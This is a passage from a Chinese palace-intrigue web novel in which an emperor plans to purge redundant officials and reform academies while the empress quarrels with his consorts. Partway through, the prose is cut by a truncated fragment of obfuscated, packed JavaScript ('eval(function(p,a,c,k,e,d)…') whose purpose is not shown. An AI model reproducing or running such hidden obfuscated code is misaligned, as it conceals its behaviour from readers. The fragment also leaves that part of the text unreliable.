皇帝不赞同:“朕怎么觉得全国有八百万亩乃至一二千万亩荒地都不止啊。”惹得班丞相又想死谏时又被皇帝抢前刹住:“清冗官,朕不想再小打小闹地清除个千八百人,倘若朕想把多数冗官皆清除出朝堂,丞相可有良策保他们不生事端?” “陛下,此间真不是大动干戈时。”年轻人气盛起来简直跟脱缰的野马似的横冲乱撞,班丞相眼前一阵阵发黑:“老臣实难认同陛下您如此冲动,还请陛下为社稷想。” 皇帝想都没想地转向晏霁之:“朕不需要晏卿劝,你只需告诉朕,你有计策吗?” 晏霁之沉默两息时间后给出建议:“禀陛下,正徽元年五月,陛下削减内廷用度;六月,丞相率百官请奏削减俸禄。今官员俸禄,以正六品官为例:每月俸钱十两,授田六百亩,算上俸料等物,折合成现银计,一个正六品官年俸大概五百两。 朝中大约五千名冗官,若是给予这批冗官在值时半年的俸禄,国库至少要出一百万贯。若是不补银两,或可将授田赏下,抑或再补以与职田同等亩数的荒地。 三,既不给银两亦不许田地,兴办书院。举国目前约有一千座官府记档在册的州府县级书院,大可再造五六百座书院。四,前三项皆不施行,许他们迁入澎湖,在朝廷海禁期间仍可与南洋诸国通商。五,朝中若还要生事,交给老天爷吧。” “霁之不知朝廷何以会出现冗官吗?”皇帝训斥:“一场科举,朝廷就要录百八十人,还有靠恩荫入仕的大批子弟,朝廷能有那么多空缺养这批人吗?再兴造五六百座书院,你是嫌朝廷里吃闲饭的不够多还是嫌冗官不够有积重难返之危啊?” “禀陛下,这世间可以有多种人才,不一定非得当官才是人才。”晏霁之详细阐述:“老百姓的观念里总觉得进书院读书就是为考科举,这样的观念其实不大好。 朝廷大可以给书院分类,第一种是培养文学造诣,国家多才子谱写风流,这类人才自是多多益善,再多,翰林院都装得下。第二种是传授技艺,书院择百工中适宜教学的,像造车造船、造宫苑乃至教授医理,学而有成,不都是对国家有用的人才吗? 第三种,对考科举的读书人,书院还可以让学子适当体会民情,官员总不能五谷不分,一个五谷不分的进士又怎么可能做好父母官为老百姓们做实事?” “好,爱卿的主意甚好。”皇帝高兴道:“丞相知会过太上皇就交代国子监和翰林院尽快给朕拟个章程出来吧。还有,国库每年都要拨下五六十万贯给全国的书院,朕细想想其实大可不必,丞相用个适当的举措把这笔拨款消了吧。 第二,今后科举,朝廷择录四五十名进士,不必宣扬,丞相心中有数就好;第三,靠恩荫走仕途的必须至少有秀才功名,一家能荫蔽的子弟数更得加以限制。” “是,陛下,但对英王世子的四项举措,您是定下选第三,革除的那批冗官,银两和田地以及入澎湖都不许吗?”班丞相真想替自己这把老骨头抹把辛酸泪。 “嗯?”皇帝嬴忱璧被提醒出个疑惑来:“霁之不想让这四项并举?” “陛下,升米恩斗米仇,给予太多,得到的未必是感恩,还可能令对方贪婪愈盛。” 嬴忱璧眼底泛起冷意,就是对这种丑恶嘴脸的厌恶:“霁之说的好啊,升米恩斗米仇。丞相,不必再建书院,英王世子的第三点举措在现有书院中推行。 朝廷革除四千名冗官,让这批人自己选是要银两、田地还是入澎湖,只能三者择其一,你把握好,可别让他们生出朝廷亏欠他们的荒谬想法。第三,朕欲在西北和广南再划出两座行省,你和两位副相还有吏部在四月二十前拿个方案出来。 第四,现行律法对官员贪腐的最低限定是一千两,少于五千两,只以降职警戒;贪腐在五千两至五万两之间处以罢官、下狱以及流放;贪腐超五万两者判死刑。 清除冗官后,朝廷重修该条律令,朕愿意把对核定官员贪腐的最低限定提高到三千两,但处置的警戒线得降下来,少于五千两处以降职警戒,贪腐超二万两者斩首。” 旭日渐高,晨曦初绽时的稚嫩消弭,金灿灿的强劲朝气照遍朝晖殿是这般耀眼。 一老二少走下巨型露台,班丞相唏嘘,晏霁之打趣:“相爷是不是遗憾看走眼了,要不然现今皇宫中早已是班贵妃最得宠,哪还有霍灵渠和令愔夫人什么事。” “世子啊,你就别拿老头开涮了。”班丞相愁啊:“你们看,圣人会信吗?” “相爷的意思是圣人不会相信陛下的密报?”晏霁之愣下意识到这还真有可能。 “不至于吧,陛下难道还能拿国家安危来污蔑昌隆侯吗?”霍海啸也没想过太上皇还会有不相信这种情况,班丞相叹口气,不再多言,不再和小辈同行,甩下他们,疾步往前走,晏霁之感悟:“不当家就是轻松,若是你父和我父在,大约得和丞相一样急。” “是啊,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小太监眼神闪烁,细想想,郭皇后除了要被迫辞位之外好像还真没有别的委屈啊,太后在关雎宫闹出长虫前从没给皇后立过规矩,最得宠的令愔夫人对郭皇后也一直恭恭敬敬的,皇后以前还有被太后刁难或者被嫔妃冲撞过吗?没有啊,这…… 晏霁之抛锭银元宝给他,小太监麻溜接住,谢过英王世子后告退,和同伴们离开。 这群宫人走开,晏霁之几乎没有调侃意味地调侃:“你霍家在宫里的威慑真有问题哎,一回是偶然,二回三回还能是偶然吗?宫人们对于霍太后勒令皇后儿媳规避的命令居然能犹豫到让场面僵住,到底是郭家压着霍家还是霍家压着郭家,这不滑稽吗?” “要不怎么说郭皇后在宫里过得真舒心。”霍海啸讽笑:“毕竟郭氏育有嫡长皇子,皇帝更是多年厚待,比起霍家死期不远,大多数人到底还是看好郭皇后哪怕辞位仍然前途可期,几人敢真得罪她?令愔夫人这位后宫最得宠的妃子不照样在捧着她。” “令愔夫人清高,她应该就是恻隐之心泛滥。”晏霁之纠正,霍海啸嗤之以鼻:“在皇宫里想恻隐之心泛滥的前提是要能自保吧,不能自保还想做好人是蠢还是活腻了要自寻死路,陛下的第三任皇后?我说,令愔夫人最多再升一级,从一品,到头了。” “赞同,凭她育有两位皇子,还是庶长子和庶次子,她将来肯定得再升,但贵妃位同副后太耀眼,不说她这糊涂劲儿担不起,皇帝过几年怕是都要烦她了,哪会愿意给。” 霍海啸心念一动:“前些天在刑部大狱,那两道将来的圣旨,你看他有真心吗?” “你可真是哪壶不开提哪壶,你嫌不够戳我肺管是吧?”晏霁之怼他:“我被皇帝抢走爱妾就够悲痛了,你还让我设想我女人跟别的男人生儿育女,你诚心的是吧?” “贵妃!”霍海啸诚挚告诫:“请你记住你的流光姨娘已经不存在了,灵渠现在是贵妃,贵妃将来生育皇嗣还能戳你的肺管那不是你上赶着要让皇帝看你不顺眼吗?” “你还是去给太后添把火吧,毕竟皇太后若是连个儿媳妇都管不住,”晏霁之忽被不经意闪现的念头板正经,看他道:“灵渠跟我提过,皇帝有可能想把大皇子出继。” 霍海啸愣下,侧头环顾圈四周,确定附近没人再交流:“不至于吧?” “未必,但若排除大皇子?”晏霁之面有所思道:“你想过没,翁美人这胎若是皇子,四皇子抱给贵妃养,皇帝若是念在贵妃的份上眷顾四皇子,二十年后的格局?” 霍海啸还真没想过:“你怀疑二皇子和三皇子这两位同母兄弟得自相残杀起来?” “秀女中有一位是荆湖巡抚的庶女,令愔夫人的庶妹,这么位秀女,你不嫌打眼吗?” 晏霁之预判道:“就看陛下对四皇子的态度,陛下若眷顾四皇子,以荆湖巡抚的热切,二十年后若是就二皇子和三皇子顶在前,不想同母兄弟阋墙恐怕都难了。原本生母若是拎得清或许还能管住,但以令愔夫人的糊涂劲儿只怕是根本管不了。” 霍海啸懒懒回:“自作自受的事儿能怨得了谁?” 晏霁之再看他眼,被牵引道:“嗳,你想过皇帝说昌隆侯敢不敢反时的用意吗?” “你也感觉到了?”霍海啸剑眉微动瞬间眼神微妙,两人对视眼,各自在彼此眼中读到相呼应的讯息,晏霁之喟叹:“可不嘛,建威侯怕是忍不住啊。” “把怕是去掉吧,你不用这么看得起他,我跟你断言建威侯府忍不住的。”霍海啸真是嫌恶都懒得嫌了:“昌隆侯若想造反,打清君侧的旗号,扶嫡长皇子登基,他还能装装师出有名省得连块乱臣贼子的遮羞布都没有,郭皇后和郭家能不投向昌隆侯就出奇了。 用霍雄鹰的话来说,这种德行都能做五年皇后真是绝了,我霍家没想做好事都能变成迫她辞位是在给她和她娘家活路走,你说绝不绝?最绝的是,给他们这么多条活路,郭皇后和郭家都能往死路走,我见过蠢的就是没见过这种蠢货。” 皇帝嬴忱璧踩着不轻不重的步伐走到他俩身后,许是聊得兴致正高,他们两个愣是谁都没察觉,晏霁之不赞同:“不不不,最绝的应该是,倘若陛下对郭皇后多年严苛甚至刻薄,就没给过郭皇后舒心日子过,郭皇后欺软怕硬反而不敢在私底下有怨恨。” “朕觉得最绝的应该是你们两个在皇极宫里侃大山。”嬴忱璧嫌糟心地训,这两位难得一同有感悲催地转向皇帝请安,看见宫人们都还站得老远是皇帝独自走过来都想松口气了,晏霁之据实道:“禀陛下,我们遥遥瞧见建威侯夫人在宫门外,想看个结果。” 嬴忱璧呵呵呵:“结果是吧,结果就是,就由海啸出面去请皇后带人回椒房殿吧,海啸再走趟长春宫告诉贵妃,翁美人诞下皇嗣,皇嗣满月前让贵妃请文郯侯夫人进宫来喝杯茶。”皇帝看着霍海啸,笑意盎然道:“海啸知道应该跟贵妃说些什么吧?” “先昌隆侯的原配和嫡长子死得似乎有些蹊跷。”霍海啸略微低头道:“文郯侯夫人的兄长是福建总兵离得再近不过,有劳福建总兵帮着查一查给贵妃解个惑。” “武将粗犷。”皇帝龙颜含笑殷殷叮嘱:“记得让贵妃提醒文郯侯夫人,武将粗犷,更不擅清查陈年旧案,得找个细心且悉知内宅中事的高手帮他。再让贵妃送文郯侯夫人个人情,昌隆侯闹着圣人要撤换福建总兵,霍家会把现任福建总兵调任江南。” 霍海啸代贵妃谢恩再告退,晏霁之默默地一起走,皇帝喊住他,晏霁之表示:“陛下,臣不介意陪海啸同往。”对于这样的厚脸皮,皇帝笑得更乐:“朕介意啊,晏卿还是陪朕去小佛堂劝令愔夫人吧,她毕竟是朕最宠的妃子,朕不忍心苛责她,就靠爱卿了。” 晏霁之郁闷留驻,霍海啸利索往外走,诚心招皇帝骂,忒活该。 然而,这似乎浑然天成没有破绽的小插曲,皇帝偏就认为晏霁之不是没事找事要找骂:“霁之是故意在避着朕吧,你不是要在皇帝眼皮底下招惹皇帝,你是不想与朕独处,你怕朕与你再多聊深聊会儿会察觉到你对书院规划的用意没那么简单。” 晏霁之眼神微闪,未语。皇帝笑,似乎很理解他:“朕都没有疑虑,你将来会位极人臣,皇帝会喜欢卓越不凡的丞相但不会容忍个心思深到很可能会失去掌控的宰执,当然是皇帝察觉不出为好,就像你刚闹的这出,大概连霍海啸都觉得你活该了吧。” “不,还是朕想错了。”皇帝自我纠正道:“你不是避着朕,你是故意逗个乐,显得你率性有助于减少皇帝对你心思深的感观,还能让我们接下来谈得轻快些,你当然有本事把话题引到你愿意谈的事上,恰如你刚闹的这出,朕若没察觉,我们会聊些什么?” 晏霁之垂下眼睑依然不语,皇帝抬抬下巴笑:“你在压儒生乃至儒家的地位。” “你刚提出对书院的规划时朕光顾着高兴是没真觉察到。”皇帝走到他面前,衷心感叹:“朕不得不惊叹一声妙哉,万般皆下品惟有读书高,当下,读书人的地位是太高了些,高到百姓们推崇,高到他们肆意评论国事却多是空谈更兼有结党营私之嫌。 十几年乃至几十年汲汲营营读着书要考科举的读书人不在少数,这些读书人想求取功名是为造福百姓报效国家还是为私欲?当然大多学子都是为私欲,这没什么,人都有私欲,想做官很正常,但实没必要把读书人捧得超凡脱俗,不相匹配啊。” 晏霁之似乎打定主意不说话了,皇帝大度地非但没在意还真心表露:“恰如你所说的,这世间可以有多种人才,不一定非得当官才是人才,但你是治国的人才,对君王都是可遇而不可求的人才。”皇帝嬴忱璧拍拍他的肩膀:“忘记流光姨娘吧。” 日头高照,明媚的阳光施施然照过颀长的身形,映出的身影仿佛都诉着坚韧。 108. 第108章 伊人殿采选的争端源于御前总管蒋厚运和长春宫的陶姑姑要把建威侯夫人的娘家侄女和她妹妹家的外甥女筛掉,即把郭家推出来的三名秀女刷掉两个,就郭皇后的堂妹没动,这才捅马蜂窝了,郭皇后硬刚霍太后的威压不肯退,她母亲急着要找令愔夫人。 霍海啸捎上霍雄鹰带队禁军赶到伊人殿请郭皇后回自己宫里,霍海啸话放得不轻,否则休怪禁军动粗害中宫的脸太难看,郭皇后强势地没退缩更像是要把在长春宫立规矩受的憋屈都吼出来:“本宫是皇后,本宫看这些禁军谁不要命了敢对本宫动粗!” 众目睽睽,霍雄鹰扬扬眉,霍海啸给弟弟个眼神,霍雄鹰走到郭皇后身侧照着她脆弱的脖子就是劈手一记,把刚瞪圆眼睛还没来得及再发威的郭皇后给打晕了。 伊人殿所有目击者:“……” 蒋厚运默默转过脸,刻板的陶姑姑想捂脸,霍雄鹰大言不惭:“我们奉陛下旨意而来,原本有皇太后的口谕就该足够了,皇后公然违抗太后,陛下都没计较只令皇后回宫,哪想郭皇后放肆得简直没个体统,她这哪是把自己当皇后啊分明是把自己当皇太后。 立国百年就没出过这种皇后,我们不是以下犯上,我们是奉陛下旨意请郭皇后回自己宫中,我们若不多担待些,她仗着陛下和太后宽仁愈发胡作非为,闹得还要请圣人出面还能得了吗?来啊,椒房殿来的这群宫人不能自己走的全绑起来,走!” 禁军们摩拳擦掌准备做事时,赖嬷嬷带头的椒房殿来的宫人们迅猛地顺从谁都没异议。霍雄鹰见状让抬顶软轿来把昏睡的郭皇后送进轿辇,他再率禁军送皇后回椒房殿。 伊人殿的消息传进徘徊在皇极宫前的建威侯夫人耳中,侯夫人勃然大怒之余更心焦,可她又不能硬闯皇极宫,想不好该回椒房殿还是再耗着,思量许久还是再等等。 耗到巳时末竟都没等到皇帝出来见见岳母更没等到令愔夫人,椒房殿一遍遍来人催她,她娘家人和妹妹进宫来要找她,建威侯夫人实在等不及,只得暂且回椒房殿。 皇极宫中的小佛堂里淡淡檀香萦绕,虔诚的诵经声油然而起心安和静的韵律。 正徽帝嬴忱璧走进小佛堂,示意伺候在小佛堂中的宫人们退下,注视若心无旁骛只专注诵经的令愔夫人小会儿,打断道:“夫人可知朕为何让你整上午都在此诵经吗?” 原是跪在蒲团上在佛像前诵经,令愔夫人闻言睁眸抬头,看见陛下,她站起行礼,应道:“臣妾知道,陛下想让臣妾打消帮皇后娘娘的妹妹们求高位嫔妃位的念想。” “不,朕只是想拖到建威侯夫人出宫,朕已经让贵妃去椒房殿责令她们出宫了。” 嬴忱璧往前迈步,龙颜浮现嫌恶之色:“皇后的母亲天天往宫里跑,把皇宫当成她家后花园,爱妃不觉得不好看,朕嫌难看,世间哪个岳母一个月二十几天往女婿家里跑,非得逼着朕让贵妃限制她进宫的天数,郭家就不能给自家留点脸吗?” 令愔夫人抿着唇忍着没帮皇后母女辩解,嬴忱璧交代道:“你现在去椒房殿,见到皇后,把其他人全都遣退,你告诉皇后,你无能为力,别的什么话都不要说,你可以看看郭皇后给你的答复是什么,倘若你接到她的答复之后还愿意帮衬,你再去找贵妃吧。” “诺。”令愔夫人按捺住怪异,告退时想起来还有件遗留的事,她把放袖中的拟定的采选章程呈上再表明自己的态度,请陛下圣裁。嬴忱璧貌似想顾及到两位爱妃的意见:“嗯,贵妃考虑的也不是没道理,就把这道检查放在贵妃择选后、朕见她们之前吧。” “是,臣妾告退。”令愔夫人敛衽施礼,莲步款款退出小佛堂。 嬴忱璧目送她消失在眼帘,晏霁之从佛堂外出现,皇帝看他眼,再踱步跟上。 晴空朗朗,初夏的微风伴着鲜活的光线在太阳底下游走给四方城中的人最朴实的享受,这也不过是个再寻常不过的午间,懒惰的猫已在树荫下找到舒服的窝打盹儿了。 令愔夫人来到坤宁宫前见翁美人和喻秀仪在外徘徊,走上前见礼,翁美人冷不防受惊,单手捧孕肚,拍着心口说:“娘娘你吓到我了,您这样从背后冒出来真怪吓人的。” “你们在坤宁宫外做什么,在皇后娘娘的宫外徘徊却不进椒房殿请安成何体统?” “不是啊,贵妃还在椒房殿里和皇后说话,刚不久前,贵妃打发人来跟我说,我生产在即多有不便,从明日起到我临盆,我不必来给皇后请晨安了,贵妃会代我向皇后请恩典,嫔妾请喻秀仪陪我过来想向皇后娘娘谢恩,不好打扰皇后和贵妃说话才在外候着。” “哦…”令愔夫人迟疑着打探:“皇后娘娘的娘家人还在吗?” “刚走,贵妃的堂弟、殿前侍读霍雄鹰陪着他们走的,这会儿应该还没走到昭德门。”翁美人没甚幸灾乐祸地说:“贵妃传太后口谕,准建威侯府中人每月进宫六回。” “六回?”令愔夫人蹙眉,翁美人中肯道:“很多了,谁家一月六回的往女婿家里跑,何况皇宫里,有些姑奶奶出嫁以后几年都不定能见娘家人一面。” “贵妃出来了。”喻秀仪提示,她们立时禁言;霍贵妃走过来,她们施礼请安。 霍灵渠携堂兄霍海啸走近凑堆的三名嫔妃,笑吟吟道:“翁美人不必进椒房殿谢恩了,我代你向皇后谢过恩典了。令愔夫人来的确实是时候,皇后急着要找你呢,不过本宫还是想耽误夫人小会儿,想问问夫人要不要给二皇子和三皇子也找个养母?” 翁美人和喻秀仪以及她们身后的宫人迅速低头,动作堪称整齐划一。 令愔夫人惊诧到不可思议地看着霍贵妃,霍海啸侧过头规避直视皇帝的嫔妃们,霍灵渠藏住眼底的无奈演咄咄逼人:“照料嫡皇嗣,按皇后的心意是最好的,我能不能理解成你把本宫和陛下、皇太后和太上皇都当死人,陛下这亲爹对大皇子兄妹更是不慈? 否则你在闹个什么劲儿啊,难道我们尤其是陛下这亲爹对大皇子兄妹都是摆设吗?难道这两位皇嗣只是郭皇后的,郭后不在宫中,他们就活不好了吗?” “你在影射谁,你想指摘谁?”霍贵妃愤怒溢于言表:“夫人古道热肠何必好心做坏事,你总不能是个傻的、旁人也不可能认为你是个傻的吧,那你指望我如何想你啊? 你这两天是不是在闹腾着告诉我,你要博好名声等着将来做陛下的第三任皇后?夫人,真让本宫这么想,你还能有福分陪二皇子和三皇子过明年的生辰吗?” 语毕,霍贵妃熄熄怒意,冷肃吩咐:“去椒房殿吧,别让郭皇后久等了。” “臣妾告退。”令愔夫人强忍着没让眼泪落下,挺直背脊向椒房殿走去。 隐蔽处,晏霁之目睹过这切后垂眸,皇帝察觉到这细小的动静,看向他,晏霁之淡淡笑:“臣在想,令愔夫人应该领悟不到贵妃的善意。” 贵妃的善意?皇帝讶然,思量下,还真是贵妃的善意,贵妃完全可以换种说辞,但贵妃还是选择告诉令愔夫人为人处世要顾及周全,更别让皇帝觉得你做的事是在影射指摘皇帝,但令愔夫人能领悟到贵妃这番好意乃至进而感激贵妃吗? 皇帝心底叹息,令愔夫人应该只感受到她的自尊受辱了吧。不再隐藏,皇帝率众现身,让翁美人和喻秀仪各自回自己的殿阁,让随行的御前宫人候在外,皇帝他带贵妃和霍海啸、晏霁之往椒房殿走,从宫门起一路禁止行经的宫人通报多言。 霍灵渠逐渐走慢,落后于皇帝两步,看眼晏霁之,她没什么想法更没想眉目传情什么,就是见到晏霁之,心里想看他眼。晏霁之目视前方专注往前走,不是不想看她,只怕多看眼会忍不住泄露眼底的情愫,大庭广众还有皇帝在,他还是克制些吧。 然后,霍海啸走过去挡住他们之间的视线。霍灵渠抿抿唇,收回视线,走在大哥身侧,她倒没觉得有什么,晏霁之没看她,对她都没什么影响,是她自己想看晏霁之又不是非得要晏霁之也看她。她也没想过缘何想看晏霁之,想了大概也是还没适应好吧。 令愔夫人迈进椒房殿,看见满地碎片不由得愣下,她印象中的郭皇后是个文雅到有些软弱畏缩的人,一直以为皇后遭遇再多欺压都只会关起门来偷偷哭泣,这明显被摔砸出来的碎片对她真有些意外了,她压住遐想,欲请安再被皇后的怒叱愣下。 “你整个上午到底干什么去了?” 原来郭皇后还会有这样戾气粗重时吗?令愔夫人低头行过礼,请皇后把殿内宫人遣退,得允准,宫人们都退下后,她再致歉:“臣妾无能为力,辜负娘娘厚爱了。” “你说什么?无能为力?”郭皇后怒火飙涨:“你是废物啊,你这宠妃怎么当的,这么点小事都劝不动皇帝,你还做什么宠妃?本宫告诉你,你现在就再去找陛下,长跪不起也好绝食撞墙也罢,反正必须把淑妃位给我拿下来,否则你就不要再来见我!” 令愔夫人猛然抬头美眸大睁,像不认识郭皇后一般:“娘娘刚才说什么,废物?” “你若是连这么点小事都做不了,你还不是个废物吗?”清醒啊理智啊都在的,郭皇后丝毫不觉得自己的训斥有何不妥:“皇帝宠爱你都几年了,你若是连个淑妃位都求不下来,你还做什么宠妃,我还要你来何用?!还不快滚下去再去求陛下。” 令愔夫人挺直背脊忍住在眼眶里打转的泪花,没行礼没告退,膝盖笔直地往外走,走出椒房殿再迈出坤宁宫的门槛,没有任何迟疑地率领她的宫人径直回钟萃宫。 许是正在怒火头上没闲心,郭皇后压根儿没注意令愔夫人的不敬之处。 她稍缓会儿,忍无可忍地抄起殿内的剩余摆设砸起来,边砸边骂,不是骂令愔夫人,郭皇后看来令愔夫人当然是做事去了,何况就她,想骂哪还需忍着。 “废物!窝囊废!这个窝囊废怎么就不能今夜就去死啊,都当皇帝了还要像个下贱胚子一样活着还要来害我和我皇儿受罪,这种窝囊废活着到底还有什么用,这窝囊废天生就是来克我和我皇儿的吗?老天怎就不能早些收了他去啊……” 明耀的光芒掠过殿外廊檐下划出四道身影,嘶吼咆哮在这静谧的阳光下格外刺耳。 四人隐蔽在两处窗口前,皇帝嬴忱璧和晏霁之站在同处,嬴忱璧注视着殿中的女人——占着他正妻位置的女人疯狂摔砸咒骂,看着这个女人好似有发泄不尽的痛恨。 晏霁之想,难怪霍灵渠怀疑皇帝对郭皇后有情义,他都要怀疑了。 霍灵渠凝视会儿转头看向数丈外的晏霁之,忽然衣袖被扯,她举起手,手写给大哥看:我想到霁之和他的生母,有些感慨,佟梦娴在万般伤害的亲骨肉是这世间最在意她、是唯一会给她保命的人,这种讽刺对于皇帝和郭皇后又何尝不是? 当然是!霍海啸眼神微闪,懒得多想都被牵出点思绪,只要皇帝驾崩,对郭氏母子必定是死路,魏王、晋王乃至是蜀王还有那些暗地里蠢蠢欲动的势力谁会让他们母子活着,皇帝当然更清楚,那他是怎么容忍郭氏这样疯癫? 看过会儿,嬴忱璧带着晏霁之、霍贵妃和霍海啸离去,走出坤宁宫,皇帝交代宫人们:“朕没来过,朕只是派人给皇后送串爆竹来,现下就去点燃爆竹吧。” 椒房殿的宫人们领命退下去做事,嬴忱璧在一丈高的宫墙前又站会儿,爆竹声响传来,他才率众踏着爆竹声响远走,走过约半里路,晏霁之和霍海啸乖觉告退出宫。 霍灵渠眼神瞟瞟,屈膝行礼准备撤:“臣妾也回长春宫了,臣妾告退。” “贵妃陪朕走走吧。”嬴忱璧没同意,霍灵渠挣扎:“没什么好走的吧。” 嬴忱璧让随行宫人退避二十丈,自嘲道:“贵妃是否觉得朕的品位很差?” “人固有不同,喜好因人而异,没有高低之分。”霍灵渠郁闷地只能留着。 “贵妃在笑朕自作自受吧,他们两个也在笑朕自作自受吧?” “我没这么想,我哥和晏霁之也不会这么想,是你自己这么想才觉得别人在笑话你。”霍灵渠觉得:“你真喜欢你媳妇吧,若不然,不就是曾经错付,多大点事儿,你何至于这样扭捏?除非是你喜欢她,所以你对她放不下抛不开更不能释怀。” “……”嬴忱璧告诫:“贵妃休得胡言,朕只是悔恨过往才难以释怀而已。” “对啊,若只是悔恨过往错付,你有何不能释怀?”霍灵渠理所当然道:“除非是你对这个女人有情,你对她爱恨交织,你才放不下才不能释怀呀,要不然你悲凉难受自嘲自苦个什么劲儿,曾经错付有什么不能释怀,当然是爱恨交织才不能释怀。” “贵妃!”嬴忱璧被噎得真是什么自嘲的情绪都没了,让贵妃不得胡乱瞎想才是紧要:“人固有不同,各人心思因人而异,你不能用你自以为的想法来推测朕的心思,这是胡闹,朕只是对曾经错付难以释怀,仅此而已,不得再胡思乱想更不得再污蔑朕。” “人固有不同,但人的七情六欲更有相通。”霍灵渠不以为然:“陛下还是不要辩解了,越辩解越显得你心虚,你喜欢她就喜欢她呗,有什么不能大方承认呀?” “贵妃!”嬴忱璧隐隐有种抓狂的冲动:“朕辩解什么,朕心虚什么,有你这样想当然地污蔑朕的吗?你不相信朕的肺腑之言还肆意污蔑朕,贵妃又是何居心?” “谁污蔑你啊,明明是你言不由衷、死鸭子嘴硬。”霍灵渠若有嫌弃,瞧着皇帝这遮遮掩掩扭扭捏捏连喜欢个人都不敢承认的样真没劲儿,皇帝嬴忱璧被贵妃呛得反而都冷静了:“倘若是贵妃曾经错付,你曾对一个人很好,她却想要你死,你还能释怀吗?” “当然,这不是本该如此嘛,我对一个人很好,我非但没得到回报,对方还想要我死,我还跟他费什么劲儿啊还要不能释怀什么呀?”霍灵渠古怪的看皇帝。 嬴忱璧有点心窝疼:“贵妃是没遇到过才这般大放厥词吧,若是你真有过曾经错付,且你非但没得到回报,对方还想要你死,你还能释怀就出奇了。” “你对你媳妇曾经错付能算你犯过个错吗?”霍灵渠好整以暇反驳:“人活在世间哪有不犯错的,任何错,小到你记错太后生辰惹养母不高兴,大到你举措失当害百姓受苦,不都是犯错吗?倘若你举措不当害许多百姓受难,你会如此耿耿于怀吗? 你不会的,你最多当个教训;假若都只是个错,根本有何不同,你对别的错都能释怀,偏偏对于你对媳妇曾错付,你不能释怀还执拗到宁可自苦,你什么心思呀?” “朕是心疼自己曾经错付的热忱和心血。”嬴忱璧义正辞严:“半个多月前,贵妃还曾对朕言道,付出越多自然越想得到回报,不想辜负自己曾经付出的心血,这是想对自己好;人想对自己好是与生俱来、不必思考就能做的决断。朕想对自己好,何错?” “付出越多越想得到回报的前提是还心存侥幸能有回报,你在椒房殿还能有侥幸吗?”霍灵渠戳穿道:“倘若你真想对自己好,既然已经明确那是错付,你若心疼自己当然是彻底斩断那些过往包括你对她的恨意,在意的反面不是恨,是毫不在意。 可你对曾经错付偏执到宁愿让自己饱尝煎熬,谁会想对自己好到折磨自己啊?为个践踏自己甚至有机会就会害死自己的人自苦,这是在心疼自己吗?晏霁之心疼自己,对自己好,他再渴望父爱母爱都绝不会为得到父爱母爱而委屈自己,你是吗?” 嬴忱璧哑然,不信他会轻贱自己到犯贱,偏偏越想辩驳越没头绪,冷不丁被吓跳,原来是霍灵渠施礼告退,皇帝他发不出声音留不住贵妃更难以置信他竟然犹如惊弓之鸟能被一声告退吓到,看着贵妃步步走远,苦笑想这是贵妃给他留的最后点体面吗? 红墙碧瓦的巍巍禁宫被照耀得粲然生辉,霍灵渠踏着明媚折返,在这韶华正盛的岁月里犹如一抹亮彩令晦暗的旧画重焕缤纷,嬴忱璧愣下,情不自禁地站笔直端正。 “贵妃?”皇帝莫名有股说不出的期待,霍灵渠叹惜:“陛下,你可能病了,不是你的身体有病而是你的心里有病,你不珍惜你自己,你不自爱。 我从不自己委屈自己,我爹我姑母他们也是,霁之也是,我们都自爱,但你明显不是;你在自苦,你自己都不珍惜你自己。我是觉得,一个人若是连自己都不珍惜自己又凭什么要求别人来珍爱你,一个人若是连自己都不爱自己又怎么可能会珍惜别人?” “陛下你的心应该是真的病了。”霍灵渠劝道:“你想要圆满想要幸福,最重要的不在于有没有人爱你而是你得爱自己,你该放下对曾经错付和想将我困在皇宫里的偏执,你该做的是不要再自苦,不要再自己给自己受委屈煎熬,你该学会珍爱你自己。” 辛酸涌进眼底令嬴忱璧险些眼眶红润,眼前在阳光底下若有光辉的女人和记忆中在桃花树下跟他畅想将来要举案齐眉生儿育女白头偕老的未婚妻重合,还是那么温暖。 “朕,咳,朕是希望令愔夫人能坚持住的,至少显得她的真心不会那么廉价。” 没想过他是不自爱,更没想过是他的心病了吗?嬴忱璧一时间有点无措,不知道该如何回应贵妃,只得转话题哪怕很生硬,刚说时还有点鼻音,多说串话就好多了。 “朕相信她是真心想给两位嫡皇嗣找养母,昨天她还在标榜哪怕为此失宠都在所不惜,今日她的真心就这么轻易地被击碎了,轻易得像个笑话。朕猜,令愔夫人绝不想再进椒房殿要向朕请旨免她晨省,倘若郭皇后传召她,也要让朕帮她挡了。” 霍灵渠很好性儿地随皇帝跳话题:“陛下料准皇后会痛骂令愔夫人?” “嗯,撞到郭氏憋屈暴怒的当口,郭氏的母亲不在没人拦她,她会骂出来太正常了。”嬴忱璧点明道:“令愔夫人心高,她可不是在给皇后效忠,她是看郭氏母子可怜,她哪儿能受得住被郭皇后当成奴婢般辱骂,但朕还是存了侥幸想赌她的真心没那么轻。 倘若她被骂过后仍然能维持住她对嫡皇嗣的怜悯,朕愿意把二公主给她养,可惜,她只受这么点辱骂,她的真心怜悯就全散了,今后她看到郭氏的儿女只怕都要嫌膈应。” “还是仗着她是最得宠的嫔妃,有恃无恐吧。”霍灵渠感悟:“她不怵霍家,但凡她忌惮霍太后,怎会给郭皇后奔走;前例尚在,她都没点忌讳,哪来的底气? 她也不怵郭皇后,在椒房殿没行礼就走岂是嫔妃的礼数,倘若又被陛下言中,她不肯再进椒房殿还会强抗皇后的传召,郭氏还在后位,她还把皇后看在眼中吗?换言之……” 霍灵渠戛然止住被自己顺其自然要冒出的话吓跳,脑中思绪紊乱,不愿再往下说了,但皇帝嬴忱璧帮贵妃把话讲出来了:“换言之,令愔夫人还有做嫔妃的本分吗?” “或许令愔夫人只是清高。”霍灵渠莫名感到阵疲惫,嬴忱璧平心而论:“在此之前,朕也从来没有疑心过,但眼下,以她的言行推测出来的论断不是恰如其分吗? 霍秀仪藐视中宫,她给郭皇后出头来向朕请旨要处置霍秀仪还不到十日,倘若她只因被皇后训斥就能闹着不肯再进椒房殿请安,算什么,算她请过朕的旨意了没失分寸吗?朕不想因此就疑心她,但朕也不可能再相信她真不慕名利。” 霍灵渠抬头,看见重重宫阙高耸入云,看见明亮的太阳光映在宫闱间似乎暗淡了。 